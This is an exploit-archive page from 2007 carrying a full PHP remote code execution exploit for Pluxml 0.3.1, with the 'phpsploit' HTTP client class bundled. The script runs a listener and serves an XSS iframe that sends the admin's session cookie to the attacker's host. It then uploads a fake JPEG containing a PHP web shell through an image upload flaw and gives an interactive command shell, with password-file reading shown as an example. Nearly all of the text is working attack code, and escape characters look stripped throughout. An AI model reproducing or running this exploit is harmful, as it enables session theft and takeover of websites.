[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Pluxml 0.3.1 Remote Code Execution Exploit
# Published : 2007-06-24
# Author : DarkFig
# Previous Title : AdminBot 9.0.5 (live_status.lib.php ROOT) RFI Vulnerability
# Next Title : DAGGER Web Engine <= 23jan2007 Remote File Inclusion Vulnerability
<?php
# C:> sploit.php -url http://victim.com/pluxml0.3.1/ -ip 90.27.10.196
# [/]Waiting for connection on http://90.27.10.196:80/
# [!]Now you have to make the victim to click on the url
# [+]Received 395 bytes from 182.26.54.2:2007
# [+]Sending 366 bytes to 182.26.54.2:2007
# [+]Received 326 bytes from 182.26.54.2:2009
# [+]Sending 366 bytes to 182.26.54.2:2009
# [+]Received 692 bytes from 182.26.54.2:2010
# [!]Received one cookie from 182.26.54.2:2010
# [/]Verifying if there is a valid session id cookie
# [-]No: pollvote=1
# [!]Yes: PHPSESSID=c6255827c1a07c51a95af691a612484b
# [+]The created socket has been shut down
# $shell> whoami
# darkfig
#
if($argc < 5)
{
print("
------------ Pluxml 0.3.1 Remote Code Execution Exploit -------------
---------------------------------------------------------------------
Credits: DarkFig <gmdarkfig@gmail.com>
URL: acid-root.new.fr || mgsdl.free.fr
IRC: #acidroot@irc.worldnet.net
Note: Coded for fun 8)
---------------------------------------------------------------------
Usage: $argv[0] -url <> -ip <> [Options]
Params: -url For example http://victim.com/pluxml0.3.1/
-ip The IP that will be bound to the socket
Options: -port The socket will listen on this port (default=80)
-proxy If you wanna use a proxy <proxyhost:proxyport>
-proxyauth Basic authentification <proxyuser:proxypwd>
---------------------------------------------------------------------
");exit(1);
}
# PhpSploit object
####################
$xpl = new phpsploit();
$xpl->agent('Firefox');
# Server
##########
$server_addr = getparam('ip',1);
$server_port = (getparam('port')!='') ? getparam('port') : '80';
$server_url = "http://$server_addr:$server_port/";
# Victim
##########
$hack = getparam('url',1);
$html = "<h1>hello :)</h1>n";
# Apparently my XSS bypass NoScript protection
################################################
$xss = "<iframe src='${hack}pluxml/admin/auth.php?msg="
."<script>document.location=(".char($server_url.'?c=')
.".concat(document.cookie))</script>'"
." height=0 width=0>";
# Socket
##########
$handle = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($handle, $server_addr, $server_port);
socket_listen($handle);
print "n[/]Waiting for connection on $server_url";
print "n[!]Now you have to make the victim to click on the url";
# Wait until we get admin rights
##################################
while(TRUE)
{
$packet = '';
if(!$msg = socket_accept($handle))
exit(1);
# End of the packet ?
######################
while(!ereg("rnrn",$packet))
$packet .= socket_read($msg, 2048, PHP_BINARY_READ);
socket_getpeername($msg, $clientaddr, $clientport);
print "n[+]Received ".strlen($packet)." bytes from $clientaddr:$clientport";
# Server response
##################
$serv =
"HTTP 1.x 200 OKrn"
."Connection: closern"
."Transfer-Encoding: chunkedrn"
."Content-Type: text/htmlrnrn"
.$html.$xss."rnrn";
# Is there a cookie ?
#######################
if(preg_match("#?c=(S*) HTTP/1.([01x]+)#", $packet, $cookies))
{
print "n[!]Received one cookie from $clientaddr:$clientport";
print "n[/]Verifying if there is a valid session id cookie";
$cookie = explode(';%20',$cookies[1]);
foreach($cookie as $session)
{
# Valid session id ?
#######################
if(is_valid_session($session))
# Let's upload a file
#######################
code_execution();
}
print "n[-]No valid session id cookie found";
print "n[/]Always waiting for connection";
}
# Answer to the client
########################
else
{
print "n[+]Sending ".strlen($serv)." bytes to $clientaddr:$clientport";
socket_write($msg, $serv, strlen($serv));
}
socket_close($msg);
}
# Function which is like getopt()
###################################
function getparam($param,$opt='')
{
global $argv;
foreach($argv as $value => $key)
{
if($key == '-'.$param)
return $argv[$value+1];
}
if($opt)
exit("-$param parameter required");
else
return;
}
# Bypass magic_quotes_gpc
###########################
function char($data)
{
$char = 'String.fromCharCode(';
for($i=0;$i<strlen($data);$i++)
{
$char .= ord($data[$i]);
if($i != (strlen($data)-1))
$char .= ',';
}
return $char.')';
}
# Admin session always available ?
###################################
function is_valid_session($session)
{
global $xpl,$hack;
$xpl->addheader('Cookie',$session);
$xpl->get($hack.'pluxml/admin/index.php');
if(eregi('Location: auth.php', $xpl->getheader()))
{
print "n[-]No: $session";
return FALSE;
}
else
{
print "n[!]Yes: $session";
return TRUE;
}
}
# File upload vulnerability
#############################
function code_execution()
{
global $xpl,$hack,$msg;
socket_close($msg);
print "n[+]The created socket has been shut down";
# +images.php [File Upload Vulnerability]
# |
# 11. if(!empty($_FILES)){
# 12. $uploaddir = '../../images/';
# 13. $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
# 14. if(getimagesize($_FILES['userfile']['tmp_name'])){
# 15. move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile);
# 16. chmod($uploadfile, 0777);
# 17. $msg = 'Image envoy??e';
# 18. }else{
# 19. $msg = 'Le fichier n'est pas une image';
# 20. }
# 21. header('Location: images.php?msg='.$msg);
# 22. }
#
# Fake JPG 1x1
# 000000A0 007F 3C3F 7068 700D 0A69 6628 6973 7365 ..<?php..if(isse
# 000000B0 7428 245F 5345 5256 4552 5B48 5454 505F t($_SERVER[HTTP_
# 000000C0 5348 454C 4C5D 2929 0D0A 7B0D 0A70 7269 SHELL]))..{..pri
# 000000D0 6E74 2031 3233 3435 3637 3839 3130 3131 nt 1234567891011
# 000000E0 3132 3B0D 0A65 7661 6C28 245F 5345 5256 12;..eval($_SERV
# 000000F0 4552 5B48 5454 505F 5348 454C 4C5D 293B ER[HTTP_SHELL]);
# 00000100 0D0A 7072 696E 7420 3132 3334 3536 3738 ..print 12345678
# 00000110 3931 3031 3131 323B 0D0A 7D0D 0A3F 3EFF 9101112;..}..?>.
#
$fakejpg =
"xFFxD8xFFxE0x00x10x4Ax46x49x46x00x01x01x01x00"
."x60x00x60x00x00xFFxDBx00x43x00x08x06x06x07x06"
."x05x08x07x07x07x09x09x08x0Ax0Cx14x0Dx0Cx0Bx0B"
."x0Cx19x12x13x0Fx14x1Dx1Ax1Fx1Ex1Dx1Ax1Cx1Cx20"
."x24x2Ex27x20x22x2Cx23x1Cx1Cx28x37x29x2Cx30x31"
."x34x34x34x1Fx27x39x3Dx38x32x3Cx2Ex33x34x32xFF"
."xDBx00x43x01x09x09x09x0Cx0Bx0Cx18x0Dx0Dx18x32"
."x21x1Cx21x32x32x32x32x32x32x32x32x32x32x32x32"
."x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32"
."x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32"
."x32x32x32x32x32x32x32x32xFFxFEx00x7Fx3Cx3Fx70"
."x68x70x0Dx0Ax69x66x28x69x73x73x65x74x28x24x5F"
."x53x45x52x56x45x52x5Bx48x54x54x50x5Fx53x48x45"
."x4Cx4Cx5Dx29x29x0Dx0Ax7Bx0Dx0Ax70x72x69x6Ex74"
."x20x31x32x33x34x35x36x37x38x39x31x30x31x31x31"
."x32x3Bx0Dx0Ax65x76x61x6Cx28x24x5Fx53x45x52x56"
."x45x52x5Bx48x54x54x50x5Fx53x48x45x4Cx4Cx5Dx29"
."x3Bx0Dx0Ax70x72x69x6Ex74x20x31x32x33x34x35x36"
."x37x38x39x31x30x31x31x31x32x3Bx0Dx0Ax7Dx0Dx0A"
."x3Fx3ExFFxC0x00x11x08x00x01x00x01x03x01x22x00"
."x02x11x01x03x11x01xFFxC4x00x1Fx00x00x01x05x01"
."x01x01x01x01x01x00x00x00x00x00x00x00x00x01x02"
."x03x04x05x06x07x08x09x0Ax0BxFFxC4x00xB5x10x00"
."x02x01x03x03x02x04x03x05x05x04x04x00x00x01x7D"
."x01x02x03x00x04x11x05x12x21x31x41x06x13x51x61"
."x07x22x71x14x32x81x91xA1x08x23x42xB1xC1x15x52"
."xD1xF0x24x33x62x72x82x09x0Ax16x17x18x19x1Ax25"
."x26x27x28x29x2Ax34x35x36x37x38x39x3Ax43x44x45"
."x46x47x48x49x4Ax53x54x55x56x57x58x59x5Ax63x64"
."x65x66x67x68x69x6Ax73x74x75x76x77x78x79x7Ax83"
."x84x85x86x87x88x89x8Ax92x93x94x95x96x97x98x99"
."x9AxA2xA3xA4xA5xA6xA7xA8xA9xAAxB2xB3xB4xB5xB6"
."xB7xB8xB9xBAxC2xC3xC4xC5xC6xC7xC8xC9xCAxD2xD3"
."xD4xD5xD6xD7xD8xD9xDAxE1xE2xE3xE4xE5xE6xE7xE8"
."xE9xEAxF1xF2xF3xF4xF5xF6xF7xF8xF9xFAxFFxC4x00"
."x1Fx01x00x03x01x01x01x01x01x01x01x01x01x00x00"
."x00x00x00x00x01x02x03x04x05x06x07x08x09x0Ax0B"
."xFFxC4x00xB5x11x00x02x01x02x04x04x03x04x07x05"
."x04x04x00x01x02x77x00x01x02x03x11x04x05x21x31"
."x06x12x41x51x07x61x71x13x22x32x81x08x14x42x91"
."xA1xB1xC1x09x23x33x52xF0x15x62x72xD1x0Ax16x24"
."x34xE1x25xF1x17x18x19x1Ax26x27x28x29x2Ax35x36"
."x37x38x39x3Ax43x44x45x46x47x48x49x4Ax53x54x55"
."x56x57x58x59x5Ax63x64x65x66x67x68x69x6Ax73x74"
."x75x76x77x78x79x7Ax82x83x84x85x86x87x88x89x8A"
."x92x93x94x95x96x97x98x99x9AxA2xA3xA4xA5xA6xA7"
."xA8xA9xAAxB2xB3xB4xB5xB6xB7xB8xB9xBAxC2xC3xC4"
."xC5xC6xC7xC8xC9xCAxD2xD3xD4xD5xD6xD7xD8xD9xDA"
."xE2xE3xE4xE5xE6xE7xE8xE9xEAxF2xF3xF4xF5xF6xF7"
."xF8xF9xFAxFFxDAx00x0Cx03x01x00x02x11x03x11x00"
."x3Fx00xF7xFAx28xA2x80x3FxFFxD9";
$formdata = array(
frmdt_url => $hack.'pluxml/admin/images.php',
'userfile' => array(
frmdt_filename => 'iwashere.php',
frmdt_content => $fakejpg));
$xpl->formdata($formdata);
print "n$shell> ";
while(!preg_match('#^(quit|exit)$#', ($cmd = trim(fgets(STDIN)))))
{
# $shell> cat ../pluxml/conf/password.xml
########################################
$xpl->addheader('Shell',"system('$cmd');");
$xpl->get($hack.'images/iwashere.php');
$content = explode('1.23456789101E+014',$xpl->getcontent());
print $content[1]."n$shell> ";
}
exit(0);
}
/*
*
* Copyright (C) darkfig
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* TITLE: PhpSploit Class
* REQUIREMENTS: PHP 4 / PHP 5
* VERSION: 2.0
* LICENSE: GNU General Public License
* ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt
* FILENAME: phpsploitclass.php
*
* CONTACT: gmdarkfig@gmail.com (french / english)
* GREETZ: Sparah, Ddx39
*
* DESCRIPTION:
* The phpsploit is a class implementing a web user agent.
* You can add cookies, headers, use a proxy server with (or without) a
* basic authentification. It supports the GET and the POST method. It can
* also be used like a browser with the cookiejar() function (which allow
* a server to add several cookies for the next requests) and the
* allowredirection() function (which allow the script to follow all
* redirections sent by the server). It can return the content (or the
* headers) of the request. Others useful functions can be used for debugging.
* A manual is actually in development but to know how to use it, you can
* read the comments.
*
* CHANGELOG:
*
* [2007-06-10] (2.0)
* * Code: Code optimization
* * New: Compatible with PHP 4 by default
*
* [2007-01-24] (1.2)
* * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
* * New: multipart/form-data enctype is now supported
*
* [2006-12-31] (1.1)
* * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
* * New: You can now call the getheader() / getcontent() function without parameters
*
* [2006-12-30] (1.0)
* * First version
*
*/
class phpsploit
{
var $proxyhost;
var $proxyport;
var $host;
var $path;
var $port;
var $method;
var $url;
var $packet;
var $proxyuser;
var $proxypass;
var $header;
var $cookie;
var $data;
var $boundary;
var $allowredirection;
var $last_redirection;
var $cookiejar;
var $recv;
var $cookie_str;
var $header_str;
var $server_content;
var $server_header;
/**
* This function is called by the
* get()/post()/formdata() functions.
* You don't have to call it, this is
* the main function.
*
* @access private
* @return string $this->recv ServerResponse
*
*/
function sock()
{
if(!empty($this->proxyhost) && !empty($this->proxyport))
$socket = @fsockopen($this->proxyhost,$this->proxyport);
else
$socket = @fsockopen($this->host,$this->port);
if(!$socket)
die("Error: Host seems down");
if($this->method=='get')
$this->packet = 'GET '.$this->url." HTTP/1.1rn";
elseif($this->method=='post' or $this->method=='formdata')
$this->packet = 'POST '.$this->url." HTTP/1.1rn";
else
die("Error: Invalid method");
if(!empty($this->proxyuser))
$this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass)."rn";
if(!empty($this->header))
$this->packet .= $this->showheader();
if(!empty($this->cookie))
$this->packet .= 'Cookie: '.$this->showcookie()."rn";
$this->packet .= 'Host: '.$this->host."rn";
$this->packet .= "Connection: Closern";
if($this->method=='post')
{
$this->packet .= "Content-Type: application/x-www-form-urlencodedrn";
$this->packet .= 'Content-Length: '.strlen($this->data)."rnrn";
$this->packet .= $this->data."rn";
}
elseif($this->method=='formdata')
{
$this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary."rn";
$this->packet .= 'Content-Length: '.strlen($this->data)."rnrn";
$this->packet .= $this->data;
}
$this->packet .= "rn";
$this->recv = '';
fputs($socket,$this->packet);
while(!feof($socket))
$this->recv .= fgets($socket);
fclose($socket);
if($this->cookiejar)
$this->getcookie();
if($this->allowredirection)
return $this->getredirection();
else
return $this->recv;
}
/**
* This function allows you to add several
* cookies in the request.
*
* @access public
* @param string cookn CookieName
* @param string cookv CookieValue
* @example $this->addcookie('name','value')
*
*/
function addcookie($cookn,$cookv)
{
if(!isset($this->cookie))
$this->cookie = array();
$this->cookie[$cookn] = $cookv;
}
/**
* This function allows you to add several
* headers in the request.
*
* @access public
* @param string headern HeaderName
* @param string headervalue Headervalue
* @example $this->addheader('Client-IP', '128.5.2.3')
*
*/
function addheader($headern,$headervalue)
{
if(!isset($this->header))
$this->header = array();
$this->header[$headern] = $headervalue;
}
/**
* This function allows you to use an
* http proxy server. Several methods
* are supported.
*
* @access public
* @param string proxy ProxyHost
* @param integer proxyp ProxyPort
* @example $this->proxy('localhost',8118)
* @example $this->proxy('localhost:8118')
*
*/
function proxy($proxy,$proxyp='')
{
if(empty($proxyp))
{
$proxarr = explode(':',$proxy);
$this->proxyhost = $proxarr[0];
$this->proxyport = (int)$proxarr[1];
}
else
{
$this->proxyhost = $proxy;
$this->proxyport = (int)$proxyp;
}
if($this->proxyport > 65535)
die("Error: Invalid port number");
}
/**
* This function allows you to use an
* http proxy server which requires a
* basic authentification. Several
* methods are supported:
*
* @access public
* @param string proxyauth ProxyUser
* @param string proxypass ProxyPass
* @example $this->proxyauth('user','pwd')
* @example $this->proxyauth('user:pwd');
*
*/
function proxyauth($proxyauth,$proxypass='')
{
if(empty($proxypass))
{
$posvirg = strpos($proxyauth,':');
$this->proxyuser = substr($proxyauth,0,$posvirg);
$this->proxypass = substr($proxyauth,$posvirg+1);
}
else
{
$this->proxyuser = $proxyauth;
$this->proxypass = $proxypass;
}
}
/**
* This function allows you to set
* the 'User-Agent' header.
*
* @access public
* @param string useragent Agent
* @example $this->agent('Firefox')
*
*/
function agent($useragent)
{
$this->addheader('User-Agent',$useragent);
}
/**
* This function returns the headers
* which will be in the next request.
*
* @access public
* @return string $this->header_str Headers
* @example $this->showheader()
*
*/
function showheader()
{
$this->header_str = '';
if(!isset($this->header))
return;
foreach($this->header as $name => $value)
$this->header_str .= $name.': '.$value."rn";
return $this->header_str;
}
/**
* This function returns the cookies
* which will be in the next request.
*
* @access public
* @return string $this->cookie_str Cookies
* @example $this->showcookie()
*
*/
function showcookie()
{
$this->cookie_str = '';
if(!isset($this->cookie))
return;
foreach($this->cookie as $name => $value)
$this->cookie_str .= $name.'='.$value.'; ';
return $this->cookie_str;
}
/**
* This function returns the last
* formed http request.
*
* @access public
* @return string $this->packet HttpPacket
* @example $this->showlastrequest()
*
*/
function showlastrequest()
{
if(!isset($this->packet))
return;
else
return $this->packet;
}
/**
* This function sends the formed
* http packet with the GET method.
*
* @access public
* @param string url Url
* @return string $this->sock()
* @example $this->get('localhost/index.php?var=x')
* @example $this->get('http://localhost:88/tst.php')
*
*/
function get($url)
{
$this->target($url);
$this->method = 'get';
return $this->sock();
}
/**
* This function sends the formed
* http packet with the POST method.
*
* @access public
* @param string url Url
* @param string data PostData
* @return string $this->sock()
* @example $this->post('http://localhost/','helo=x')
*
*/
function post($url,$data)
{
$this->target($url);
$this->method = 'post';
$this->data = $data;
return $this->sock();
}
/**
* This function sends the formed http
* packet with the POST method using
* the multipart/form-data enctype.
*
* @access public
* @param array array FormDataArray
* @return string $this->sock()
* @example $formdata = array(
* frmdt_url => 'http://localhost/upload.php',
* frmdt_boundary => '123456', # Optional
* 'var' => 'example',
* 'file' => array(
* frmdt_type => 'image/gif', # Optional
* frmdt_transfert => 'binary' # Optional
* frmdt_filename => 'hello.php,
* frmdt_content => '<?php echo 1; ?>'));
* $this->formdata($formdata);
*
*/
function formdata($array)
{
$this->target($array[frmdt_url]);
$this->method = 'formdata';
$this->data = '';
if(!isset($array[frmdt_boundary]))
$this->boundary = 'phpsploit';
else
$this->boundary = $array[frmdt_boundary];
foreach($array as $key => $value)
{
if(!preg_match('#^frmdt_(boundary|url)#',$key))
{
$this->data .= str_repeat('-',29).$this->boundary."rn";
$this->data .= 'Content-Disposition: form-data; name="'.$key.'";';
if(!is_array($value))
{
$this->data .= "rnrn".$value."rn";
}
else
{
$this->data .= ' filename="'.$array[$key][frmdt_filename]."";rn";
if(isset($array[$key][frmdt_type]))
$this->data .= 'Content-Type: '.$array[$key][frmdt_type]."rn";
if(isset($array[$key][frmdt_transfert]))
$this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."rn";
$this->data .= "rn".$array[$key][frmdt_content]."rn";
}
}
}
$this->data .= str_repeat('-',29).$this->boundary."--rn";
return $this->sock();
}
/**
* This function returns the content
* of the server response, without
* the headers.
*
* @access public
* @param string code ServerResponse
* @return string $this->server_content
* @example $this->getcontent()
* @example $this->getcontent($this->get('http://localhost/'))
*
*/
function getcontent($code='')
{
if(empty($code))
$code = $this->recv;
$code = explode("rnrn",$code);
$this->server_content = '';
for($i=1;$i<count($code);$i++)
$this->server_content .= $code[$i];
return $this->server_content;
}
/**
* This function returns the headers
* of the server response, without
* the content.
*
* @access public
* @param string code ServerResponse
* @return string $this->server_header
* @example $this->getcontent()
* @example $this->getcontent($this->post('http://localhost/','1=2'))
*
*/
function getheader($code='')
{
if(empty($code))
$code = $this->recv;
$code = explode("rnrn",$code);
$this->server_header = $code[0];
return $this->server_header;
}
/**
* This function is called by the
* cookiejar() function. It adds the
* value of the "Set-Cookie" header
* in the "Cookie" header for the
* next request. You don't have to
* call it.
*
* @access private
* @param string code ServerResponse
*
*/
function getcookie()
{
foreach(explode("rn",$this->getheader()) as $header)
{
if(preg_match('/set-cookie/i',$header))
{
$fequal = strpos($header,'=');
$fvirgu = strpos($header,';');
// 12=strlen('set-cookie: ')
$cname = substr($header,12,$fequal-12);
$cvalu = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));
$this->cookie[trim($cname)] = trim($cvalu);
}
}
}
/**
* This function is called by the
* get()/post() functions. You
* don't have to call it.
*
* @access private
* @param string urltarg Url
* @example $this->target('http://localhost/')
*
*/
function target($urltarg)
{
if(!ereg('^http://',$urltarg))
$urltarg = 'http://'.$urltarg;
$urlarr = parse_url($urltarg);
$this->url = 'http://'.$urlarr['host'].$urlarr['path'];
if(isset($urlarr['query']))
$this->url .= '?'.$urlarr['query'];
$this->port = !empty($urlarr['port']) ? $urlarr['port'] : 80;
$this->host = $urlarr['host'];
if($this->port != '80')
$this->host .= ':'.$this->port;
if(!isset($urlarr['path']) or empty($urlarr['path']))
die("Error: No path precised");
$this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);
if($this->port > 65535)
die("Error: Invalid port number");
}
/**
* If you call this function,
* the script will extract all
* 'Set-Cookie' headers values
* and it will automatically add
* them into the 'Cookie' header
* for all next requests.
*
* @access public
* @param integer code 1(enabled) 0(disabled)
* @example $this->cookiejar(0)
* @example $this->cookiejar(1)
*
*/
function cookiejar($code)
{
if($code=='0')
$this->cookiejar=FALSE;
elseif($code=='1')
$this->cookiejar=TRUE;
}
/**
* If you call this function,
* the script will follow all
* redirections sent by the server.
*
* @access public
* @param integer code 1(enabled) 0(disabled)
* @example $this->allowredirection(0)
* @example $this->allowredirection(1)
*
*/
function allowredirection($code)
{
if($code=='0')
$this->allowredirection=FALSE;
elseif($code=='1')
$this->allowredirection=TRUE;
}
/**
* This function is called if
* allowredirection() is enabled.
* You don't have to call it.
*
* @access private
* @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection)
* @return string $this->get($this->last_redirection)
* @return string $this->recv;
*
*/
function getredirection()
{
if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))
{
$this->last_redirection = trim($codearr[2]);
if(!ereg('://',$this->last_redirection))
return $this->get('http://'.$this->host.$this->path.$this->last_redirection);
else
return $this->get($this->last_redirection);
}
else
return $this->recv;
}
/**
* This function allows you
* to reset some parameters.
*
* @access public
* @param string func Param
* @example $this->reset('header')
* @example $this->reset('cookie')
* @example $this->reset()
*
*/
function reset($func='')
{
switch($func)
{
case 'header':
$this->header = array('');
break;
case 'cookie':
$this->cookie = array('');
break;
default:
$this->cookiejar = '';
$this->header = array('');
$this->cookie = array('');
$this->allowredirection = '';
break;
}
}
}
?>
# www.Syue.com [2007-06-24]